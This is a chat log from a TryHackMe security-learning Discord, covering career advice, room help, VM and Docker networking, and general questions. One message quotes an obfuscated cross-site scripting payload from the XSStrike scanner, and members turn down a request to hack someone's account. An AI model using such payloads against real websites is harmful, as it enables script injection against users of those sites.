
[crimson prairie]

No, I didn't use it

ill send my device info now

Redmi 9A
M2006C3LG

Android version 10

[south inlet]

I'd honestly factory wipe the phone, and create a brand new account.

Don't re-log in with a Google account (if you do)

[crimson prairie]

I logged out from my all accounts and disconnected from the internet before doing factory reset

[crimson prairie]

but it didn't work

[crimson prairie]

I think, i'll have to do this

[crimson prairie]

Last year, someone targeted my phone with this kind of malicious apk and when I submitted it to virustotal, it was Ajina named malware.

[surreal quiver]

How credible is medium?

[weary meteor]

Just a blog platform

I prefer github for cyber stuff over it

[surreal quiver]

Yeah but are the writers any credible. They seem to be working in the field and for some things even google searches give medium as result. Depends on what you are searching for. The advice still seems legit.

[weary meteor]

Well , like on any other platform , some are some aren't 🙂

[crimson prairie]

I submitted the apk to Virustotal, it has found adware from the apk and MobSF rated it medium level risk

[south inlet]

Well, it will do as Magisk is seen as malware because it roots your phone.

[surreal quiver]

I guess but if you are new to cyber it helps because it explains things more than on github where you have to already know some things

[weary meteor]

Of course , you should always choose resources that suit you the best 🙂

[crimson prairie]

yeah, I think, ill buy another phone this time

[faint linden]

Guys, I finished the pre security learning path. Next I'm starting the SOC level 1 path. Any advice on how I should approach this learning path would be great.. I'm a newbie thanks

[weary meteor]

Congrats on completing Pre-Security path , great job 🙂 🚀 🔥 . I would recommend you to go with Cyber101 path before moving to SOC1 🙂
https://tryhackme.com/path/outline/cybersecurity101

[faint linden]

Sounds good

[weary meteor]

Yeah , Cyber101 teaches some fundamentals that're required for SOC1 🙂

[faint linden]

For sure, I want to get this right before moving forward

[zinc iris]

😂 I love the rooms that based on series or movies , so I was thinking of making one

the eternal respect sounds good

[twin ridge]

I seem to command more fear and ire so good luck

[zinc iris]

thx

[twin ridge]

Someone was unhappy with my last room and managed to break the downvotes

[zinc iris]

what was your last room ?

[south inlet]

Race condition with burp 😂

For legal reasons this is a joke

[quaint basin]

I maintain the measure of a room's success is the number of death threats received by the creator.

[twin ridge]

true

I got quite a few

(it's still medium in my eyes)

[quaint basin]

I consider my latest a HTB Medium standard.

We're gonna find out if I've got any better at judging these

[twin ridge]

probably get reclassified as a hard

[south inlet]

How many did you send for Madness?

[quaint basin]

Send?

[south inlet]

Death threats

[quaint basin]

None that I can remember?

That was an annoying box though, so it's possible lmao

[desert sky]

@weary meteor you must have a lot of CTF's under your belt to be a mythic lol

[weary meteor]

Well i completed some but still have a lot to go 🙂

[zinc iris]

Can I add you so I can ask you questions if I have any, since you did create rooms before ?

[next turret]

@weary meteor Do pros follow writeups too?

[fathom panther]

Hell yeah

Not saying I’m a pro myself but I recently looked through some walkthroughs for a CTF I was doing lol

[next turret]

Really? I have read that it is okay to follow writeups too because "you don't know, what you don't know". But I feel bad peaking and looking at writeups lol

[fathom panther]

Nah, you shouldn’t feel bad. Its really true that if you don’t know something, you’ll just get stuck most of the time about it lol

No need to bang your head against the wall for a CTF challenge if a writeup is available (provided that you’ve at least tried and exhausted your options).

[weary meteor]

Well i ain't a pro but i was using a lot of writeups when i was on beginning of my journey , they proved to be very useful , especially if you can find a good author that suits you 🙂 . Write-up should be detailed and guided foe it to have some purpose . It should walk you through each step so you can understand what's going on and what should you do 🙂

[feral kelp]

Writeups are very useful bc if you’re really stuck you can add the info to your toolbox for future challenges ❤️

[wintry mantle]

hello guys anyone have tryhackme monthly coupon code ?

[south inlet]

Please don't ask in the server. 🙂

[forest igloo]

just curious, for hacking do you prefer 75 or 80% keyboards?

[tidal wraith]

Any recommendations on a pair of blue tooth over the ear microphone boom mic headsets?

[novel mango]

man i feel this in my bones homie. when i started into this side of things and finally found that "thing" that made it all connect and created a learnig addiction its made me an all around better human being.

[mystic flower]

Good on you, keep up the grind !

[crimson robin]

Hii Guyzz

Anyone intrested to be bussiness partner with me

[zinc iris]

same here thm are very cool

[gleaming blade]

@weary meteor https://tryhackme-certificates.s3-eu-west-1.amazonaws.com/THM-6OA1SNLYQK.png Those are worth to show off to the employers?! I mean those recognized in someway?

[weary meteor]

Not really 😦 . You may add them it won't hurt anything but this isn't real certification , this is just a certificate of completion of that path .

[gleaming blade]

Ofc, those not real ones im aim for just wanted to know if its worth smthing.. Thank u

[weary meteor]

Well you can't add them it probably won't hurt anything but also don't rely too much on them 🙂

[gleaming blade]

Got another one lol..

[boreal jewel]

https://www.youtube.com/watch?v=Ut2YF7j318I

Love this clip and this aspect of the job. Was stuck on AdvancedElkQueries, T3Q2, reread the question at least a few dozen times. Know I'm pulling more logs than it wants, can't think of what they want for the second filter.

Shut it down, take a shower, refresh the coffee, and look a the question again. Immediatly notice they want a particular server type.

Now if I can just find somebody that'll pay me to do this type of thing.

[quaint basin]

That depends on how you add them...

If anyone technical on the hiring team sees them in the "Certifications" section it's an instant red flag that you aren't familiar with the difference between a certificate of completion and a certification

[boreal jewel]

V-Moda

[crimson prairie]

💀 🫣 I've added my THM certificates in the "Certifications and Achievements" section and applied to Google cybersecurity internship.

[gleaming blade]

I meant the cert of completions in my original quession... Still dropped em on Linkedin... Prolly wont hurt

[quaint basin]

Yeah, LinkedIn is fine, and saying on your CV that you've done them is no bad thing in lieu of experience either

[crimson prairie]

I’m trying to figure out if I’m ready to apply for a job or internship. Could you please share your thoughts or any advice on how to evaluate this?

[gleaming blade]

Im added u on Linkedin, i hope its fine, just try to get much smarter ppl around me instead of doomscrolling

[quaint basin]

The postings should be pretty upfront about this stuff. You're generally not expected to be responsible for anything (at least alone) as an intern either. Assuming it's offensive security you're applying for:

• I would expect an intern to have reasonable foundational knowledge across the core topics (networking, the basics of OS internals, web technologies, ideally cloud, etc), but gaps are fine. Keenness to learn is more important.
• For a junior pentester I would expect roughly OSCP level -- i.e., enough knowledge to go off and do a core job under the leadership of a senior tester.

[quaint basin]

I mean, go ahead, but I warn you: I rarely ever use it other than to accept incoming connections lmao

[crimson prairie]

Thank you so much for your detailed response !🙂 I really appreciate you breaking it down for both interns and junior positions. Your advice has been really helpful. After reading your advise, I feel that I've already completed the basics you mentioned. This has given me more confidence, and I think, I'm ready to start applying for jobs.

[hoary nymph]

Gave +1 Rep to @quaint basin (current: #10 - 844)

[radiant jacinth]

This is kinda out of topic, but is anyone familiar with discord - someone somehow fabricated this screenshot to make me look like i sent them a scam server link, istg i've'nt. they made it looks so convincing, just wondering if anyone knows how they did it

they somehow changed my original message to something completely different

[serene trench]

Discord is rendered as HTML on the client side

no different to being able to F12 on a website and update the client/viewers copy of the text

[radiant jacinth]

oh right thank you. this really buzzed me off so much. full context i was modding a server and he was self advertising. i was baiting him to give a link, which he did, i was stupid and revealed too soon i was gonna mod him. he deleted his link and made that above ss

[hoary nymph]

Gave +1 Rep to @serene trench (current: #9 - 912)

[radiant jacinth]

ive learnt to install vencord (to see deleted messages) and to be stealthier in the future

[serene trench]

No worries:) yeah pretty annoying I can imagine. The desktop client for Discord is just electron - a desktop web browser basically. Fairly easy to doctor text/messages/etc just by changing the HTML and taking say a screenshot

but it's only on that persons view - doesn't change the actual message

[radiant jacinth]

does it mean - if i force them to reload and screenrecord. this wont work as he will just say i deleted the message

[radiant jacinth]

but thanks again for helping

[serene trench]

Yeah, if the client's/persons view is refreshed it'll show the actual message

[radiant jacinth]

discord doesnt keep the full DM transcripts too, sad

[weary meteor]

Thanks for adding this 👍 🙂

[hoary nymph]

Gave +1 Rep to @quaint basin (current: #10 - 845)

[turbid walrus]

Advice needed!!Im into blue teaming and was wondering will a iMac work

[fair vine]

i think its fully personal preference

[fluid flicker]

hello, any one from UK?

[south inlet]

The majority of it.

[fluid flicker]

Ah that nice

happy to know that

[ember epoch]

hi

[south inlet]

Please don't post the same message in multiple channels, the bot may mute you.

[weary meteor]

Well we're all here to help 🙂

[radiant jacinth]

👋
Kind of weird to ask this.. I'm very much into philosophy, but something I've never considered as a philosophical enquiry is ethical hacking, what falls into ethical and unethical? Apart from the obvious... I wanna hear people's opinions/personal philosophies more than anything

Myself coming into this area I would consider "ethical hacking" anything that might be deemed acting against the better of other people, so if it means bringing a bad actor that poses a danger to vulnerable populations or generally speaking a bad actor toward a community, to justice, that would surely be ethical, right?

On the other hand I believe simply hacking for the sake of "revenge" or "personal dislike" is simply capricious and unethical, or for the betterment of oneself. At the end of the day it should bring good and betterment to the state of something of a larger population.

Then again I haven't given it much thought

[ionic hornet]

you might want to have a look at textfiles.com and phrack.org because whats considered ethical in the past and now, changed a lot in many ways. these might be good resources to document it

[south inlet]

Revenge hacking is more illegal, as it is unethical

[radiant jacinth]

Basically what I meant

[radiant jacinth]

I appreciate this, thank you

[tawdry dove]

Though it's called ethical hacking now, I believe that's actually a marketing term created by EC-Council. Really it's not a matter of ethics or morals, it's staying within the boundaries of the law.

[zinc iris]

any one finished this room :

https://tryhackme.com/room/mastermindsxlq

can I go through it with out a a background about brim ?

[surreal quiver]

What exactly does this output from xsstrike mean: Payload: <HTmL%0doNPoInTeRenTeR+=+[8].find(confirm)%0dx//

[south inlet]

Where did you get it from?

[surreal quiver]

From xsstrike

[tawdry dove]

What are you using xsstrike on? Is it from a THM room?

If it's THM content, #room-help is the best place to receive assistance

[surreal quiver]

It is but there isn't a room on xsstrike. I mean in general what does that output from xsstrike on a vulnerable page mean

[haughty minnow]

Anyone from India?

[gaunt robin]

hello everyone

[mental copper]

Ello everbody

[glad flare]

Me

[turbid walrus]

Yollloo

a secondary device so uhmm iPad or laptop 😅 as a blue teamer!!

[turbid walrus]

Bello

[ornate bolt]

Wassup

[chrome elbow]

https://tenor.com/view/hey-apple4325-gif-17003248349272592880

[radiant rampart]

hello everyone

[weary meteor]

Hello , welcome 🙂 👋

[zinc iris]

👍

[wise smelt]

on tryhackme how to avail voucher anyone

[weary meteor]

What do you mean ?

[gritty pebble]

word of the day: hagiography

hagiography is biography that idealizes or idolizes a person and their life

[frigid sandal]

Hello folks

[gritty pebble]

hello folk!

[frigid sandal]

Hello there

[mental copper]

[zinc iris]

I was working for more than 4 hour, just came here to relax a liitle before going to bed, I seriously though you are typing anything, had to go and translate this on google !

[gritty pebble]

lmao

word of the day: gallant

meaning: someone or something described as gallant is very courageous and brave. gallant is also sometimes used to mean “large and impressive” (as in “a gallant ship”), or to describe someone who has or shows politeness and respect for women.

[wise smelt]

I mean to say that there is tickets section where it shows different tickets, some of them are for availing like baseball cap from track me

[weary meteor]

That event isn't active anymore 😦

[remote forge]

Anyone from Malaysia??

[glacial narwhal]

https://youtube.com/shorts/sVbo65i66bU?si=o5u1QHFUSytu1_ey

Enjoy this cat singing

[smoky glacier]

what should i better do next?

[weary meteor]

Depends which careers path you want to pursue 🙂

[smoky glacier]

the thing is i am building my foundations so i want it all.

then i will edit my CV accordingly after the next Milestone and try to integrate in the Hi tec industry.

KGB You are always helping Thank you so much for doing this. it's important to tell you this i dont know im not if you get this appreciation very often but you should you deserve it. be blessed!

[weary meteor]

Well path on the left is focused on blue teaming activities ( DFIR , SIEM, ... )
Path in the center is focused on red teaming activities ( web app pentesting and vulns, priv. escalation , recon,... )
Path on the right side is focused on DevOps and security of the process 🙂

[smoky glacier]

KGB if i am shifting from Construction to Cyber i am feeling like everything is so in my blood so interesting and i am so eager and willing to learn yet seen something that make me feel like "ok this part is not for me", is it normal?

therefore i thought to learn everything in the paths.
i love by the way THM very much. Amazing platform always talk about with friends.
THM should advertise in TV more themselves the Platform.it amazing.

[weary meteor]

Yeah , this field is very broad , you can be perfect on all fronts 🙂

[smoky glacier]

I think ill follow the middle as i am already there and Do the 2 more paths i have there. All of the best for you and everybody here and good luck studying and Never give up ❤️‍🔥 Never Ever fall to the trap of despair and your life will be good hard times are always temporary. Wish you all Happiness.

[weary meteor]

Thank you 🙂 . Good luck on your cyber security journey 🙂 🚀

[hoary nymph]

Gave +1 Rep to @smoky glacier (current: #2671 - 1)

[small pelican]

hi i cant connect to openvpn anyway dose someone have goog ideas?

[weary meteor]

Try to ask in #site-support 🙂

[spice rose]

Hey guys, I was wondering which rooms/labs would be best for me to prepare for "IT Security and Compliance Specialist I" role this would be my first tech job and I'm extremely nervous lol I want to make sure I know everything I need to and be as best prepared as possible.

[weary meteor]

Which type of rooms are you looking for 🙂 ?

[spice rose]

anything that would help me prepare best for the role

[weary meteor]

Maybe something like this 🙂
https://tryhackme.com/path/outline/security-engineer-training

[spice rose]

awesome, thank you! As I said, this is my first tech job and I'm extremely nervous lol.

[hoary nymph]

Gave +1 Rep to @weary meteor (current: #2 - 3175)

[weary meteor]

Good luck on landing your first tech job 🙂 🚀 🤞

[spice rose]

thank you 🙂

[hoary nymph]

Gave +1 Rep to @weary meteor (current: #2 - 3176)

[weary meteor]

If you're looking for some career/certification advice you may be interested in checking #cyber-and-careers channel 🙂

[spice rose]

awesome, I will check that out

[uneven lava]

A friend gave me a Kobo Mini, but it's reeeeally little. So now I'm writing a pdf with all the most useful commands to have it as a companion while doing the rooms.

What do you guys think of this use?

[unborn depot]

That's really cool, I used to do my desktop background with my "list of the commands and things I always forget"

[weary meteor]

Looks great , note taking is very important imo 🙂

[radiant jacinth]

better to study everything back with note takeing and labs

[zinc iris]

can I turn on 2 vms in my computer and try to attack one from the other ?!

[nova linden]

Yes, just tried it yesterday my first time!
You can set the network to host-only (vmware, must be able on VBox as well), and they will be in the same network.

[zinc iris]

Cool

[chrome elbow]

You should download some stuff from vulnhub to practice

[hollow umbra]

Hey, i was trying with the SMOL room today. While i enter the url to add smol site to/etc/roots it's not responding. anyone facing the same issue, or am i going wrong somewhere. pls help!

[zinc iris]

like what ?

[zinc iris]

I didn't do this room yet but if you try to add a url , it's on /etc/hosts not roots

[chrome elbow]

Whatever interests you brother

I’ll grab the link real quick

https://www.vulnhub.com/

[weary meteor]

Can you provide a screenshot of hosts file 🙂 ?

[weary meteor]

Yes , you can 🙂

[ornate bolt]

Ello

[weary meteor]

Hello 🙂

[copper jungle]

Hi

[weary meteor]

👋

[vast summit]

Hello

[twin ridge]

Look up the tldr utility

[zinc iris]

I was trying the magician room , and every time I try to upload the image to the website so I can get a reverse shell it refuse to upload even so it's a png

[weary meteor]

Can you provide a screenshot of what are you doing 🙂 ?

[gritty pebble]

word of the day: billet-doux

meaning: love letter. the word's plural is billets-doux.

[south inlet]

#room-help

[uneven lava]

That's really helpful. Thanks!

[hoary nymph]

Gave +1 Rep to @twin ridge (current: #13 - 622)

[unborn depot]

Happy Valentines day folks, it always crops up a little PTS for me as I remember working for Dell at a tech support call center in the early 2000's and a small repeat of the ILOVEYOU virus happened.

[fluid flicker]

Don't click that link is fishing

[mystic tulip]

Hey guys, is it beneficial or heck, necessary to learn Splunk to get cyber security internships or jobs ? I see it appearing on a lot of job requirements these days

[weary meteor]

It's one of the industry standard SIEM solutions , if you're aiming for a blue team pisition it's definitely a nice skill to have 🙂

[surreal quiver]

Hey there, can kali be used as a primary OS or is it better to use it in a VM?

[south inlet]

It's best to use it in a VM, it's too unstable to be used for a host OS

[surreal quiver]

Thought so. Thanks.

[hoary nymph]

Gave +1 Rep to @south inlet (current: #1 - 3392)

[wispy topaz]

I need to rang my gig 🥺😤
Who can help me free here

[weary meteor]

What do you mean 🙂 ?

[wispy topaz]

I have been battling with low impression on my gigs I need someone who can help me out in strategical way am ready to learn

[high wasp]

How can I know the physical location of admin of a website? I find from whois and other source of their DNS and public IP, the person pays service not to disclose their real location. In this case, no-one can find where they come from?

Does anyone know please?

[fathom panther]

Why are you trying to ask this question?

[high wasp]

Short answer: to find if I protect myself..

long answer - being scammed, and want to track bad people

[quiet yacht]

Hey, is anyone here done the OSCP (PEN-200) who can answer some questions? (i hope its allowed to ask this question here.)

[weary meteor]

If you're looking for a career/certification advice , try to ask guys in #cyber-and-careers channel , this channel is not active that much 🙂

[quiet yacht]

Thanks for the reply, i want to get some inforamtion about the exam (if i can rely on rockyou for password... ) im a kind of worring about the exame...

[weary meteor]

Feel free to send a message to #cyber-and-careers , they will definitely give you some great advice 🙂

[fathom panther]

No. Your best bet is the OffSec discord. If you’re currently a PEN-200 student, you should have access to the course specific channel.

[quiet yacht]

ok thanks

[burnt night]

Contact the police.

[high wasp]

yeah

[surreal quiver]

Anyone know some honeypots for personal use?

[terse jungle]

Do you guys tend to learn what you're interested in or what you view as most lucrative?

I ask because I have the CCNA and Network+, I feel like I should focus on network topics but of all the topics I've found in THM, by far the most interesting to me is malware analysis. Despite how much it intrigues me, I don't see this ever being relevant to my job (lvl 1 help desk) or in any roles I could apply to in the near future.

[turbid wasp]

I've found that if you keep an open mind and continue learning about a variety of topics, you'll find parallels and connections between them that you may not have initially realized, especially if you find what you're learning about to be interesting.

For example, I'm just a software developer/engineer at work, nothing to do with security, but my interest in DFIR has actually helped me "reverse engineer" some programs and write my internal tools for data analysis and calculations at our organization.

[turbid wasp]

Plus, if you broaden your knowledge base you're less at a risk of pigeonholing yourself and waking up one day realizing you're stuck in a career you're no longer interested in (I'm not saying you don't like your job or anything, it's just nice to have options just in case 🙂 )

[terse jungle]

Thanks for the encouragement. I was wanting to justify spending the time to do the entire Malware Analysis module and really taking the time to understand it all.

[hoary nymph]

Gave +1 Rep to @turbid wasp (current: #1068 - 4)

[turbid wasp]

Also, don't rule out the possibility of doing malware analysis as a hobby or side gig aside from your normal job. This is actually my goal right now, to get comfortable enough were I can maybe start to contribute to some open source projects, regardless of what my day job is.

[nova linden]

Probably focusing on the wrong thing here, but do you think there's a point of having dual-boot and run a linux on hardware or just windows with VMs is enough to test everything I'll need as a beginner?

[fathom panther]

Windows with everything as VMs has been good to me so far

There is no big benefit with running Linux (afaik) as a desktop other than personal preference imo.

[weary meteor]

I also prefer Windows + VM environment 🙂

[alpine mango]

Hy, Can anyone help me with it:
Match all of the following filenames: ab0001, bb0000, abc1000, cba0110, c0000 (don't use a metacharacter)

_ _ _ _ _ { _ , _ } _ _ _ _ { _ }

[weary meteor]

Which room is that ?

[alpine mango]

regular expression

[weary meteor]

OK , do you have any idea how we can do so 🙂 ?

[alpine mango]

no, i tried it so many times but couldn't get right

[weary meteor]

Ok , what have you tried 🙂 ?

[alpine mango]

this is question 4 in task 4 of this room, we need to get regular expression that can give all names as above give in the question

[weary meteor]

Ok and what have you tried , we need to have a starting point 🙂

[alpine mango]

i tried this one: a * b * c { 0 , 1 } [ 0 1 ] { 4 }

these curly brackets can't be changed

we need to get these file names: ab0001, bb0000, abc1000, cba0110, c0000 (don't use a metacharacter)

[weary meteor]

Ok , this looks good , we only need to fix a few things . First of all , you don't need * , we can use just [abc]
Second , we know that our characters [abc] would be in the first 3 places we can specify that using {1,3}
Next we'll have either 0 or 1 [01] , repeated 4 times {4} . So in concucluion our final regex would look something like this :
[abc]{1,3}[01]{4}

[] - specify characters
{} - number of repetitions

[alpine mango]

yeah i got it, thanks a lot @weary meteor

[hoary nymph]

Gave +1 Rep to @weary meteor (current: #2 - 3258)

[civic oak]

hi everyone SNORT is firewall or IDS system ? some say that it is firewall and some say that it is IDS ?

[weary meteor]

ids/ips

[civic oak]

thx

[civic oak]

Does anyone got any project with raspbery pi ? I am thinking about making a project with it like IDS/VPN/FireWall that kind of things. Does it have a big impact on the job CV ?

[mild viper]

I have had someone claim to me that you can monitor somes SMS inbox just by knowing their phone number.

Is this something commonly known?

[next bronze]

no.

you can't intercept SMS by just knowing the phone number, in 99% of cases it requires physical access or at least requires the victim to be connected to a compromised cell tower

[mild viper]

Thank you. I was confused for a moment since this was my assumption as well.

[hoary nymph]

Gave +1 Rep to @next bronze (current: #242 - 30)

[fathom panther]

Even then, what you see from a compromise cell tower is not phone numbers but their IMSI equivalent. Only the network provider can map out these IMSI to the respective phone number.

[next bronze]

I mean, yes that's true

[pale quest]

hi

[zinc iris]

hello

[winter patrol]

Heya

[real dune]

https://tenor.com/view/hi-everybody-simpsons-wave-gif-12144219

[weary meteor]

You can verify to upload screenshots/GIFs directly . You can learn how to do so on the link below 🙂
https://help.tryhackme.com/en/articles/6495858-discord-how-do-i-verify-my-tryhackme-account

[rain drum]

guys can any one help

[tawdry dove]

With?

[wary lagoon]

is there anyone to help with the windows troubleshoot command ? I have got this question in tryhack me pre security path windows fundamental 2. It has 30 characters in answer i couldnt get it

[weary meteor]

Try to ask in #room-help channel 🙂

[rain drum]

i need a tool to hack but idk wich one i tried kali linux but next day it dont work

[harsh linden]

Kali linux is a toolbox not a tool

[rain drum]

idk actully am new

that why am asking for help

[harsh linden]

maybe it would be helpful to #start-here

[narrow cape]

Ohh you got a new color, GG

[rain drum]

like if i wanted to hack some one acc

what i need to do it

[harsh linden]

@odd acorn @south inlet @spark sun

[narrow cape]

https://tenor.com/view/nuh-uh-beocord-no-lol-gif-24435520

[rain drum]

no no i just want to learn 😂

i wont do it

[narrow cape]

We can help you to learn about ethical hacking

There is one important adjective there

[rain drum]

what is that

how can i use it

[narrow cape]

https://www.comptia.org/content/articles/what-is-ethical-hacking

[south inlet]

We can't help you hack an account, that is illegal and against our community rules

[rain drum]

bro i wont hack some one i just want to learn this

because why not

[south inlet]

Just learning doesn't make it legal

[rain drum]

bytw am arab country

[spice vapor]

there is no tool or person who can always hack stuff if there is a way you can hack some account its like a hole in the wall of security and will be fixed you have to invent or find new ways new holes new vulnerabilities which is extremely difficult and require decades of learning at that level you will not be thinking of such petty things like hacking you GF account because that's not worth the effort

[kind ember]

Trying not to feel sheepish and slow at learning this stuff. My friend who codes professionally, goes to hackercon, etc. just told me that if I can hack his wifi cameras he'll give me 500$.
I think he's just jealous that even though I am literally starting my first course in my learning path (guys I'm 10% done in the careers in cyber lol) that I just got a flipper zero; which I'm learning that flippers are cool but there's cooler tools to help execute things? I know I'll get there some day lol

[burnt night]

Don't go hacking stuff belonging to other people until you have lawyer reviewed contracts etc saying it's all good

[hushed oracle]

While good advice, if it is a very trusted friend it could be fine as well.
Just keep in mind that the general law on hacking in IT is, very similar to constent (xD). Do you have (written) permission? Then fine. Otherwise it's easier to stay away or risk fines and jail.

[twilit lantern]

@south inlet

[civic root]

Done!

[hoary nymph]

You can't modify your own Rep... Silly

[stiff zinc]

i was trying haha

[ancient relic]

hii
sorry to bother u guys ivee just installed tryhackme
and i have a problem if one of u want to help me
ive jusst started DFIR: An Introduction
and the sitee where i can practice does not work
any ideas?

[barren cloud]

Expand, the attackbox?

[barren cloud]

Also move this to #site-support or #room-help

[ancient relic]

srrry

[barren cloud]

Alls good!

[wise nacelle]

How can I open a study room here in this channel

[stark bane]

Anyone having support material or ways for php site testing please let me know.

[south inlet]

We had study channels, but they weren't used so removed.

[lofty aurora]

hello can somebody tell me why https://tryhackme.com/room/linux2 this room is not available? It's showing - This room is private

Only users with the room link can access this room...

[weary meteor]

Yeah , seems to be a private room . You're maybe looking for this room 🙂 ?
https://tryhackme.com/room/linuxfundamentalspart2

[lofty aurora]

oh so it's for premium users ig....anyway thnx

[grand mango]

Are there any good rooms to learn splunk

[weary meteor]

There're 🙂
https://tryhackme.com/room/splunkexploringspl

[tawdry sky]

Hello. It might come as a shock what i'm gonna ask but i was having shower thoughts one day and asked; what is the difference btw hashing and encryption? And now I cannot see a clear distinction btw them 😭 . I learn by knowing what something does rather than what it is and I know that there was a CRUCIAL reason why hashing did what it to be distinct from encryption, but i have forgotten. So yes that is my question; hashing vs encryption

[tawdry dove]

Have you conducted a query utilizing your favorite search engine? The top results should lead you to the answers you seek

[harsh linden]

Encryption has a KEY - data can be reversed (unencrypted). While a hash cannot, it is a one way calculation.

[tawdry sky]

Yes that replayed in my head a couple times

I had a deeper distinction btw them but thanks

[harsh linden]

this room can be really helpful as it goes over the arithmetic:
https://tryhackme.com/room/cryptographybasics

[harsh linden]

well, a hash you would use when you don't need to recover the data - most likely just compare it to another piece - as the same data yields the same result

encryption you would use it if you need to recover the original data.

i'm not sure what other explaination you need from it - perhaps using google as stated above to find your answer is best.

[tawdry sky]

Yeah i'll try google again

[civic oak]

Hey everyone I got this on the properties of my c: disk I have done research and the microsoft says that it could be from an account wich had access but deleted after. Should I do something about it or just leave it like that withour doing a thing ? anyone got a thing like that ?

[harsh linden]

Did you do a reinstallation recently? What kind of permissions does(did) it have?

Probably innocuous, but I’m interesting to hear what the windows gurus have to say 👀

[civic oak]

yea I have reinstalled couple things. It does only have special access.

[rugged frigate]

If it's a disk from you previous system than it will be the identifier from your older account.

[night cedar]

Yo dudes wazxup

[surreal quiver]

Hey guys, you know how ubuntu has like multiple desktops? Can you connect 2 screens and use 2 desktops if you know what I mean?

[wanton pewter]

Yes they are called workspaces

With different screens, you can get separate workspaces but still connected.
If you want to separate them completely, you will have to modify gnome settings

[weary meteor]

Yes , you can do that on Ubuntu 🙂

[surreal quiver]

How? Can you send a link or something?

[fair vine]

https://www.liquidweb.com/blog/ubuntu-workspaces/

1 google search bud @surreal quiver "workspaces ubuntu"

if thats what ur looking for

[surreal quiver]

Thanks

[hoary nymph]

Gave +1 Rep to @fair vine (current: #252 - 28)

[surreal quiver]

I have connected the second screen that is a pc monitor for which I had to use a vga cabel that was being used on a tv and switch the tv to a hdmi cabel but now the picture on the tv looks a lot worse is there any way to improve it? Has anyone had any experience with this?

[rugged frigate]

check if the native resolution is set on the pc for that display.

[weary meteor]

Change the resolution

[kindred kestrel]

I have a random question. I just finished the Metasploit exploitation room. And Task 7 has me a bit confused. You're using venom in that task. But you have to access the host you're trying to attack and transfer files there, and perform x, y, and z tasks..... but how is this applicable in real life? Presumably you wouldn't have that access on the host you were trying to attack BEFORE performing the Venom attack, right? I feel like I'm missing a puzzle piece here....

[weary meteor]

You're right it won't be common in real life . This tasks serves just an example of how msfvenom works 🙂

[kindred kestrel]

Ok. That makes me feel better.... so, for example, in real life a preliminary attack of some sort would need to be done to enable to to get that control of the host you want to use the venom payload on?

[weary meteor]

Yes 🙂

[kindred kestrel]

As usual, your help is always appreciated, man..... thank you.

[surreal quiver]

What exactly do you mean change it where? I tried already it just makes it worse

[weary meteor]

In display settings

[surreal quiver]

I tried its worse.

[wanton pewter]

Adjust it till you see a better quality

[surreal quiver]

I think it's already on the best possible resolution there's just a few options so...

[fair vine]

best resolution doesnt mean its the best option

what resolution is your monitor

[deft mortar]

i have a problem with openvpn and i try everything and nothing fix it "TLS Handshake failed" , any one have idea how to solve it ?

[fair vine]

@deft mortar #site-support might be your best option

[fair vine]

hi @bright ingot can you try #room-help with your query

like put your questions there

[hoary nymph]

Gave +1 Rep to @fair vine (current: #245 - 30)

[weary meteor]

Try to delete the old vpn file , change server to some other server , wait 5min , generate and download a new file

[surreal quiver]

1440 X 900 (16.:10) and the tv 1366 x 768 (16:9)

[fair vine]

did you try putting your resolution to those?

[surreal quiver]

Those are the ones that are set but the tv picture is noticeably worse than when it was plugged in with the vga cabel, the monitor looks good

[spark sun]

What were your troubleshooting steps? Without having the actual error message, there could be so many potential ways for it to not work.

[remote nacelle]

wat tha

wats slow mode

[weary meteor]

10s cooldown , if you want to chat w/out slow mode , check out #general channel 🙂

[remote nacelle]

ok

[drowsy onyx]

Hi anyone ever connected a kali Linux vm to an iPhone hotspot ? I understand connecting to my hotspot on my pc but should my Kali be in Bridged, Nat or another adapter type in VBox ?

[wanton pewter]

The connection is visible and available, never tried connecting it though. Any issues?

[drowsy onyx]

Well if i put my Host pc in hotspot it works i see my iphone name , if i put my kali in bridged or Nat it will say "wired connection" which i removed my ethernet. My iphone ip for exemple is 200.200.100.10 and my kali is 200.200.10.101 . These are example numbers , does it mean my kali is on the iphone network since it has the same network range ?

[wanton pewter]

First 3 digits of IP should be same in a small private network 🤔

[drowsy onyx]

Sorry its a typo the 3 first are the same just not the last .xxx

[wanton pewter]

So it’s the same network. About the Wired thing, NAT means the kali will not be visible to iPhone and it will take its connection through the host machine

If its set to bridged, then iPhone acts as a DHCP and assigns an IP to the kali directly for it to access the network

Did I get your question right? Check VMware settings and make sure wifi is set to bridged and not Ethernet

[drowsy onyx]

Im on Vbox , its such an annoying thing . im doing something as practice and it doesnt make sense , how would giving my kali my iphone hotspot help with doing some pentest ... Would that bypass SMB or what like i dont understand

[autumn trout]

Can someone help me with docker networking pls? I am trying to connect to Ollama not in docker inside this docker container and i dont really know what im doing 😦

services:
  sillytavern:
    build: ..
    container_name: sillytavern
    hostname: sillytavern
    image: ghcr.io/sillytavern/sillytavern:latest
    ports:
      - "8069:8000"
    volumes:
      - "./config:/home/node/app/config"
      - "./data:/home/node/app/data"
      - "./plugins:/home/node/app/plugins"
      - "./extensions:/home/node/app/public/scripts/extensions/third-party"
    restart: unless-stopped
    environment:
      - OLLAMA_HOST=http://host.docker.internal:11434
      - OLLAMA_API_BASE_URL=http://host.docker.internal:11434
    extra_hosts:
      - "host.docker.internal:host-gateway"

[wanton pewter]

@weary meteor

[wanton pewter]

Unless its related to pentesting the network created by your iPhone, I don’t really see the need of iPhone in particular, any Internet connection or network should do the trick

[drowsy onyx]

Thats why i dont understand the need to use mobile data . Because "the server is rigorous " from what the teacher said we may wanna use our mobile data for our kali our whatever but how would that help… like i cant even see is domain idk why going on my phone data would help in anyway lol

[spark sun]

IIRC the default docker network doesn't really put hosts in the same subnet, even though it looks like it is. Try creating a new virtual network and specifying that for all the containers in the group

[drowsy onyx]

And to be clear im not looking for help or cheating i just don’t understand the reasoning behind using phone data … Like i tried with using my data but nmap, crackexec , or any scans didnt change anything so idk what hes asking lol

Im genuinely curious if anyone is good enough in networking to know the reasoning behind, because we were never teached this and he threw that at us lol

[wanton pewter]

At this point you don’t need an expert, you need your teacher to explain it to you, lol

[drowsy onyx]

Ive asked im multiple times and he keeps dodging i hate that teacher so much 😂 like dude i never complain but rn he’s asking us to literally do some stuff i never showed us like fuck

My brain hurts oof i cant type

[quaint basin]

You, uh, need to learn the difference between wireless networking, wired networking, and virtual networking.

As far as your VM is concerned, it thinks it has an ethernet cable plugged into its NIC, regardless of what mode you put it in.
The VM physically does not have the hardware to make radio connections.

